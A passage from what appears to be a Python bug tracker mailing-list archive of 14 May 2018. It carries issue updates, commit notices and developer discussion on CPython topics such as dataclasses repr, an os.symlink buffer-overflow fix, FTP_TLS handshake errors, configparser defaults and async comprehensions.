Mon, 14 May 2018 16:20:24 +0000 Subject: [issue33501] split existing optimization levels into granular options In-Reply-To: <1526314717.24.0.682650639539.issue33501@psf.upfronthosting.co.za> Message-ID: <1526314824.68.0.682650639539.issue33501@psf.upfronthosting.co.za> Change by Steven D'Aprano : ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:25:06 2018 From: report at bugs.python.org (Mariatta Wijaya) Date: Mon, 14 May 2018 16:25:06 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526315106.84.0.682650639539.issue22069@psf.upfronthosting.co.za> Mariatta Wijaya added the comment: Thanks! ---------- stage: patch review -> resolved status: open -> closed versions: +Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:25:15 2018 From: report at bugs.python.org (Mariatta Wijaya) Date: Mon, 14 May 2018 16:25:15 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526315115.17.0.682650639539.issue22069@psf.upfronthosting.co.za> Change by Mariatta Wijaya : ---------- resolution: -> fixed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:30:58 2018 From: report at bugs.python.org (Carl Meyer) Date: Mon, 14 May 2018 16:30:58 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526315458.78.0.682650639539.issue21145@psf.upfronthosting.co.za> Carl Meyer added the comment: > I don't think it makes sense to try to make cached_property itself work implicitly with both normal attributes and slot entries - instead, cached_property can handle the common case as simply and efficiently as possible, and the cached_slot case can be either handled separately or else not at all. So it sounds like the current approach here is good to move forward? If I update the patch during the PyCon sprints, we could merge it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:37:01 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 16:37:01 +0000 Subject: [issue25711] Rewrite zipimport from scratch In-Reply-To: <1448296120.48.0.872112518039.issue25711@psf.upfronthosting.co.za> Message-ID: <1526315821.0.0.682650639539.issue25711@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PR 6809 freezes zipimport.py, adds changes made in zipimport.c since writing the initial Python implementation, and fixes few bugs exposed in the frozen module. Seems Python now works with the zipped stdlib. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:37:41 2018 From: report at bugs.python.org (pmpp) Date: Mon, 14 May 2018 16:37:41 +0000 Subject: [issue25711] Rewrite zipimport from scratch In-Reply-To: <1448296120.48.0.872112518039.issue25711@psf.upfronthosting.co.za> Message-ID: <1526315861.81.0.682650639539.issue25711@psf.upfronthosting.co.za> Change by pmpp : ---------- nosy: +pmpp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:39:53 2018 From: report at bugs.python.org (=?utf-8?q?Gr=C3=A9goire_Chauvet?=) Date: Mon, 14 May 2018 16:39:53 +0000 Subject: [issue31727] FTP_TLS errors when use certain subcommands In-Reply-To: <1507482521.5.0.213398074469.issue31727@psf.upfronthosting.co.za> Message-ID: <1526315993.89.0.682650639539.issue31727@psf.upfronthosting.co.za> Gr?goire Chauvet added the comment: I want to confirm that I have this exact same issue as described. To add some information, it occurs on: Python 3.6.3 on Windows Python 3.6.5 on Debian, with OpenSSL 1.0.1t 3 May 2016 Python 3.5.3 on Debian, with OpenSSL 1.1.0f 25 May 2017 Python 3.6.5 on Fedora, with OpenSSL 1.1.0h-fips 27 Mar 2018 Python 3.8.0a0 on Fedora, with OpenSSL 1.1.0h-fips 27 Mar 2018 The server is FileZilla server 0.9.60 beta (this is the last version available as of today). Depending on the version of python or OpenSSL, the error is : [...] File "/usr/lib64/python3.6/ssl.py", line 645, in do_handshake self._sslobj.do_handshake() OSError: [Errno 0] Error Or: [...] File "/usr/local/lib/python3.6/ssl.py", line 689, in do_handshake self._sslobj.do_handshake() ssl.SSLEOFError: EOF occurred in violation of protocol (_ssl.c:833) Here is my code: # I use a workaround to connect with implicit TLS as described here: # https://stackoverflow.com/a/36049814/3859915 # But from what I can see, it is not related to this. import ssl import ftplib class ImplicitFTP_TLS(ftplib.FTP_TLS): """FTP_TLS subclass that automatically wraps sockets in SSL to support implicit FTPS.""" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self._sock = None @property def sock(self): """Return the socket.""" return self._sock @sock.setter def sock(self, value): """When modifying the socket, ensure that it is ssl wrapped.""" if value is not None and not isinstance(value, ssl.SSLSocket): value = self.context.wrap_socket(value) self._sock = value ftps = ImplicitFTP_TLS() ftps.set_debuglevel(2) ftps.connect(host="hostname", port=990) ftps.login(user="user", passwd="password") ftps.prot_p() ftps.nlst() I can connect, create directories, retrieve modification date, but I cannot list files nor download them. ---------- nosy: +Gr?goire Chauvet _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:53:25 2018 From: report at bugs.python.org (R. David Murray) Date: Mon, 14 May 2018 16:53:25 +0000 Subject: [issue33476] String index out of range in get_group(), email/_header_value_parser.py In-Reply-To: <1526172602.81.0.682650639539.issue33476@psf.upfronthosting.co.za> Message-ID: <1526316805.39.0.682650639539.issue33476@psf.upfronthosting.co.za> R. David Murray added the comment: The fix is mostly likely correct, so we need a PR for this that includes tests. ---------- keywords: +easy stage: -> test needed versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:53:34 2018 From: report at bugs.python.org (R. David Murray) Date: Mon, 14 May 2018 16:53:34 +0000 Subject: [issue33476] String index out of range in get_group(), email/_header_value_parser.py In-Reply-To: <1526172602.81.0.682650639539.issue33476@psf.upfronthosting.co.za> Message-ID: <1526316814.78.0.682650639539.issue33476@psf.upfronthosting.co.za> Change by R. David Murray : ---------- type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:18:39 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 17:18:39 +0000 Subject: [issue26103] Contradiction in definition of "data descriptor" between (dotted lookup behavior/datamodel documentation) and (inspect lib/descriptor how-to) In-Reply-To: <1452718612.1.0.925403449689.issue26103@psf.upfronthosting.co.za> Message-ID: <1526318319.61.0.682650639539.issue26103@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- versions: +Python 3.8 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:26:46 2018 From: report at bugs.python.org (Larry Hastings) Date: Mon, 14 May 2018 17:26:46 +0000 Subject: [issue33001] Buffer overflow vulnerability in os.symlink on Windows (CVE-2018-1000117) In-Reply-To: <1520273082.67.0.467229070634.issue33001@psf.upfronthosting.co.za> Message-ID: <1526318806.11.0.682650639539.issue33001@psf.upfronthosting.co.za> Larry Hastings added the comment: New changeset 77c02cdce2d7b8360771be35b7676a4977e070c1 by larryhastings (Steve Dower) in branch '3.4': [3.4] bpo-33001: Prevent buffer overrun in os.symlink (GH-5989) (#5992) https://github.com/python/cpython/commit/77c02cdce2d7b8360771be35b7676a4977e070c1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:31:13 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 17:31:13 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526319073.18.0.682650639539.issue33494@psf.upfronthosting.co.za> miss-islington added the comment: New changeset ceb45f0df87071319e6f73fb03e663ac39917daf by Miss Islington (bot) in branch '3.7': bpo-33494: Change dataclasses.Fields repr to use the repr of each of its members (GH-6798) https://github.com/python/cpython/commit/ceb45f0df87071319e6f73fb03e663ac39917daf ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:36:26 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 17:36:26 +0000 Subject: [issue33495] dataclasses: repr of Field objects should use repr of each member In-Reply-To: <1526301376.3.0.682650639539.issue33495@psf.upfronthosting.co.za> Message-ID: <1526319386.8.0.682650639539.issue33495@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset ceb45f0df87071319e6f73fb03e663ac39917daf by Miss Islington (bot) in branch '3.7': bpo-33494: Change dataclasses.Fields repr to use the repr of each of its members (GH-6798) https://github.com/python/cpython/commit/ceb45f0df87071319e6f73fb03e663ac39917daf ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:36:45 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 17:36:45 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526319405.28.0.682650639539.issue33494@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- Removed message: https://bugs.python.org/msg316540 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:37:30 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 17:37:30 +0000 Subject: [issue33495] dataclasses: repr of Field objects should use repr of each member In-Reply-To: <1526301376.3.0.682650639539.issue33495@psf.upfronthosting.co.za> Message-ID: <1526319450.83.0.682650639539.issue33495@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:40:31 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 17:40:31 +0000 Subject: [issue33495] dataclasses: repr of Field objects should use repr of each member In-Reply-To: <1526301376.3.0.682650639539.issue33495@psf.upfronthosting.co.za> Message-ID: <1526319631.34.0.682650639539.issue33495@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- priority: release blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:42:19 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 17:42:19 +0000 Subject: [issue33502] dataclasses: repr of _DataclassParams objects should use repr of each member Message-ID: <1526319739.29.0.682650639539.issue33502@psf.upfronthosting.co.za> New submission from Eric V. Smith : This is mostly a debugging aid, but if you need it, it's very handy. ---------- assignee: eric.smith components: Library (Lib) messages: 316542 nosy: eric.smith, ned.deily priority: release blocker severity: normal status: open title: dataclasses: repr of _DataclassParams objects should use repr of each member type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:47:37 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 17:47:37 +0000 Subject: [issue33502] dataclasses: repr of _DataclassParams objects should use repr of each member In-Reply-To: <1526319739.29.0.682650639539.issue33502@psf.upfronthosting.co.za> Message-ID: <1526320057.05.0.682650639539.issue33502@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +6498 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:53:25 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 14 May 2018 17:53:25 +0000 Subject: [issue33421] Missing documentation for typing.AsyncContextManager In-Reply-To: <1525390394.87.0.682650639539.issue33421@psf.upfronthosting.co.za> Message-ID: <1526320405.42.0.682650639539.issue33421@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 13:57:51 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Mon, 14 May 2018 17:57:51 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1526320671.37.0.682650639539.issue33469@psf.upfronthosting.co.za> Change by Hrvoje Nik?i? : ---------- components: +asyncio nosy: +asvetlov, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:00:49 2018 From: report at bugs.python.org (Eric Snow) Date: Mon, 14 May 2018 18:00:49 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526320849.74.0.682650639539.issue32604@psf.upfronthosting.co.za> Change by Eric Snow : ---------- pull_requests: +6499 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:03:20 2018 From: report at bugs.python.org (Larry Hastings) Date: Mon, 14 May 2018 18:03:20 +0000 Subject: [issue33001] Buffer overflow vulnerability in os.symlink on Windows (CVE-2018-1000117) In-Reply-To: <1520273082.67.0.467229070634.issue33001@psf.upfronthosting.co.za> Message-ID: <1526321000.16.0.682650639539.issue33001@psf.upfronthosting.co.za> Larry Hastings added the comment: New changeset f381cfe07d15d52f27de771a62a8167668f0dd51 by larryhastings (Steve Dower) in branch '3.5': [3.5] bpo-33001: Prevent buffer overrun in os.symlink (GH-5989) (#5991) https://github.com/python/cpython/commit/f381cfe07d15d52f27de771a62a8167668f0dd51 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:06:01 2018 From: report at bugs.python.org (Brett Cannon) Date: Mon, 14 May 2018 18:06:01 +0000 Subject: [issue33501] split existing optimization levels into granular options In-Reply-To: <1526314717.24.0.682650639539.issue33501@psf.upfronthosting.co.za> Message-ID: <1526321161.53.0.682650639539.issue33501@psf.upfronthosting.co.za> Brett Cannon added the comment: Reference to some discussions on this topic https://groups.google.com/forum/#!topic/python-ideas/4oRgwrV1tVA ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:07:27 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 14 May 2018 18:07:27 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org Message-ID: <1526321247.82.0.682650639539.issue33503@psf.upfronthosting.co.za> Change by St?phane Wirtel : ---------- nosy: matrixise priority: normal severity: normal status: open title: use pypi.org instead of pypi.python.org versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:07:42 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 18:07:42 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526321262.06.0.682650639539.issue32216@psf.upfronthosting.co.za> Eric V. Smith added the comment: Note that the documentation should make the implications of #33453 very clear. In short, if an annotation "looks like" a ClassVar or InitVar, it will be treated as such. This is true even if it's specified as a string, or if it's a string due to "from __future__ import annotations". I'm planning on specifying more details in #33453. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:12:29 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 14 May 2018 18:12:29 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org Message-ID: <1526321549.66.0.682650639539.issue33503@psf.upfronthosting.co.za> Change by St?phane Wirtel : ---------- keywords: +patch pull_requests: +6500 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:14:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 18:14:35 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526321675.38.0.682650639539.issue32861@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset c3fa1f2b93fa4bf96a8aadc74ee196384cefa31e by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7': [3.7] bpo-32861: urllib.robotparser fix incomplete __str__ methods. (GH-5711) (GH-6795) https://github.com/python/cpython/commit/c3fa1f2b93fa4bf96a8aadc74ee196384cefa31e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:14:49 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 18:14:49 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526321688.99.0.682650639539.issue32861@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6501 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:18:18 2018 From: report at bugs.python.org (John Reese) Date: Mon, 14 May 2018 18:18:18 +0000 Subject: [issue33504] configparser should use dict instead of OrderedDict in 3.7+ Message-ID: <1526321898.65.0.682650639539.issue33504@psf.upfronthosting.co.za> New submission from John Reese : The configparser module uses `collections.OrderedDict` as its default, but this is no longer necessary in 3.7+ due to the semantics of core dictionaries being ordered by design. configparser should just use `dict` by default now, instead. ---------- components: Library (Lib) messages: 316547 nosy: jreese priority: normal severity: normal status: open title: configparser should use dict instead of OrderedDict in 3.7+ type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:35:04 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 18:35:04 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526322904.95.0.682650639539.issue32861@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6502 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:39:02 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Mon, 14 May 2018 18:39:02 +0000 Subject: [issue33358] [EASY] x86 Ubuntu Shared 3.x: test_embed.test_pre_initialization_sys_options() fails In-Reply-To: <1524667276.72.0.682650639539.issue33358@psf.upfronthosting.co.za> Message-ID: <1526323142.67.0.682650639539.issue33358@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- assignee: csabella -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:44:00 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 18:44:00 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526323440.86.0.682650639539.issue32861@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6503 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:46:22 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Mon, 14 May 2018 18:46:22 +0000 Subject: [issue14845] list() != [] In-Reply-To: <1337294857.69.0.824992743087.issue14845@psf.upfronthosting.co.za> Message-ID: <1526323582.08.0.682650639539.issue14845@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:46:42 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Mon, 14 May 2018 18:46:42 +0000 Subject: [issue33471] string format with 'n' failling with french locales In-Reply-To: <1526124606.41.0.682650639539.issue33471@psf.upfronthosting.co.za> Message-ID: <1526323602.46.0.682650639539.issue33471@psf.upfronthosting.co.za> Licht Takeuchi added the comment: I am working on this and have found why this is happening. I'll make PR in few days. ---------- nosy: +licht-t _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:47:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 14 May 2018 18:47:06 +0000 Subject: [issue33346] Syntax error with async generator inside dictionary comprehension In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za> Message-ID: <1526323626.88.0.682650639539.issue33346@psf.upfronthosting.co.za> Yury Selivanov added the comment: [Serhiy] > But asynchronous comprehensions should behave the same way as 'await'. I think that a comprehension should be made implicitly asynchronous if any of inner expressions contains explicit or implicit asynchronous comprehension. This is implemented in PR 6766. [Guido] > @Yury: Your thoughts? > I do think the code from the OP's example should be expected to work. I agree with Serhiy and I like his proposal. Essentially, a comprehension is asynchronous when it contains an "await" or an "async for" in it. We want to add another case: make it async when any of its inner-expressions is an async comprehension. Essentially: [f: [x async for x in f(x)] for f in fs] The nested comprehension is obviously asynchronous, so the outer comprehension should become asynchronous too. I think this is a fairly obvious and easy to follow semantics. Guido, if you agree that this is a reasonable proposition I can update PEP 530 about this new behaviour (for Python 3.8) and review Serhiy's PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:55:39 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 18:55:39 +0000 Subject: [issue33504] configparser should use dict instead of OrderedDict in 3.7+ In-Reply-To: <1526321898.65.0.682650639539.issue33504@psf.upfronthosting.co.za> Message-ID: <1526324139.82.0.682650639539.issue33504@psf.upfronthosting.co.za> Eric V. Smith added the comment: Like #33463, it will require a deprecation cycle. I'm not sure it's worth the hassle, but I wouldn't oppose it if someone wanted to do the work. 3.8 would be the first version where it could be added. ---------- nosy: +eric.smith versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:56:36 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 14 May 2018 18:56:36 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526324196.09.0.682650639539.issue20104@psf.upfronthosting.co.za> Gregory P. Smith added the comment: Pablo, Victor, Ned and I synced up at the pycon2018 sprints. We're removing posix_spawn from 3.7 (https://github.com/python/cpython/pull/6794) while the API is worked on. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 14:59:08 2018 From: report at bugs.python.org (John Reese) Date: Mon, 14 May 2018 18:59:08 +0000 Subject: [issue33504] configparser should use dict instead of OrderedDict in 3.7+ In-Reply-To: <1526321898.65.0.682650639539.issue33504@psf.upfronthosting.co.za> Message-ID: <1526324348.94.0.682650639539.issue33504@psf.upfronthosting.co.za> Change by John Reese : ---------- keywords: +patch pull_requests: +6504 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:00:04 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 19:00:04 +0000 Subject: [issue33504] configparser should use dict instead of OrderedDict in 3.7+ In-Reply-To: <1526321898.65.0.682650639539.issue33504@psf.upfronthosting.co.za> Message-ID: <1526324404.33.0.682650639539.issue33504@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See msg308974 in issue32360. ---------- nosy: +rhettinger, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:04:59 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 14 May 2018 19:04:59 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526324699.88.0.682650639539.issue32769@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: New changeset f2290fb19a9b1a5fbeef0971016f72683e8cd1ad by Ivan Levkivskyi (Andr?s Delfino) in branch 'master': bpo-32769: Write annotation entry for glossary (GH-6657) https://github.com/python/cpython/commit/f2290fb19a9b1a5fbeef0971016f72683e8cd1ad ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:05:46 2018 From: report at bugs.python.org (John Reese) Date: Mon, 14 May 2018 19:05:46 +0000 Subject: [issue33504] configparser should use dict instead of OrderedDict in 3.7+ In-Reply-To: <1526321898.65.0.682650639539.issue33504@psf.upfronthosting.co.za> Message-ID: <1526324746.87.0.682650639539.issue33504@psf.upfronthosting.co.za> Change by John Reese : ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:06:36 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 14 May 2018 19:06:36 +0000 Subject: [issue28287] Refactor subprocess.Popen to let a subclass handle IO asynchronously In-Reply-To: <1474986403.83.0.165864194914.issue28287@psf.upfronthosting.co.za> Message-ID: <1526324796.71.0.682650639539.issue28287@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:10:54 2018 From: report at bugs.python.org (Brett Cannon) Date: Mon, 14 May 2018 19:10:54 +0000 Subject: [issue33443] Typo in Python/import.c In-Reply-To: <1525705953.03.0.682650639539.issue33443@psf.upfronthosting.co.za> Message-ID: <1526325054.92.0.682650639539.issue33443@psf.upfronthosting.co.za> Brett Cannon added the comment: New changeset 5e6312c39e1fc32ecef18d340bcd5f7e314170e1 by Brett Cannon (ukwksk) in branch 'master': bpo-33443 Fix typo in Python/import.c (GH-6722) https://github.com/python/cpython/commit/5e6312c39e1fc32ecef18d340bcd5f7e314170e1 ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:11:15 2018 From: report at bugs.python.org (Brett Cannon) Date: Mon, 14 May 2018 19:11:15 +0000 Subject: [issue33443] Typo in Python/import.c In-Reply-To: <1525705953.03.0.682650639539.issue33443@psf.upfronthosting.co.za> Message-ID: <1526325075.77.0.682650639539.issue33443@psf.upfronthosting.co.za> Brett Cannon added the comment: Thanks! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:14:04 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 14 May 2018 19:14:04 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526325244.33.0.682650639539.issue33453@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:17:12 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 14 May 2018 19:17:12 +0000 Subject: [issue33314] Bad rendering in the documentation for the os module In-Reply-To: <1524090631.89.0.682650639539.issue33314@psf.upfronthosting.co.za> Message-ID: <1526325432.75.0.682650639539.issue33314@psf.upfronthosting.co.za> Gregory P. Smith added the comment: the PRs were merged, marking this as fixed. ---------- nosy: +gregory.p.smith resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:17:51 2018 From: report at bugs.python.org (Adam Forsyth) Date: Mon, 14 May 2018 19:17:51 +0000 Subject: [issue33440] Possible lazy import opportunities in `pathlib` In-Reply-To: <1525696120.71.0.682650639539.issue33440@psf.upfronthosting.co.za> Message-ID: <1526325471.52.0.682650639539.issue33440@psf.upfronthosting.co.za> Change by Adam Forsyth : ---------- keywords: +patch pull_requests: +6505 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:19:03 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 14 May 2018 19:19:03 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526325543.72.0.682650639539.issue32769@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Maybe we can consider backporting this to 3.7? Andr?s, if you think it makes sense, you can cherry-pick the commit and open a PR against 3.7 branch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:20:52 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 14 May 2018 19:20:52 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526325652.57.0.682650639539.issue32769@psf.upfronthosting.co.za> Andr?s Delfino added the comment: Yes, Ivan, I was thinking about that. I think it makes sense, and I'll be glad to do it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:23:06 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 14 May 2018 19:23:06 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526325786.43.0.682650639539.issue32769@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6506 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:24:21 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 14 May 2018 19:24:21 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526325861.57.0.682650639539.issue32769@psf.upfronthosting.co.za> Andr?s Delfino added the comment: Shouldn't we have this on 3.6 also? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:27:24 2018 From: report at bugs.python.org (Travis DePrato) Date: Mon, 14 May 2018 19:27:24 +0000 Subject: [issue33421] Missing documentation for typing.AsyncContextManager In-Reply-To: <1525390394.87.0.682650639539.issue33421@psf.upfronthosting.co.za> Message-ID: 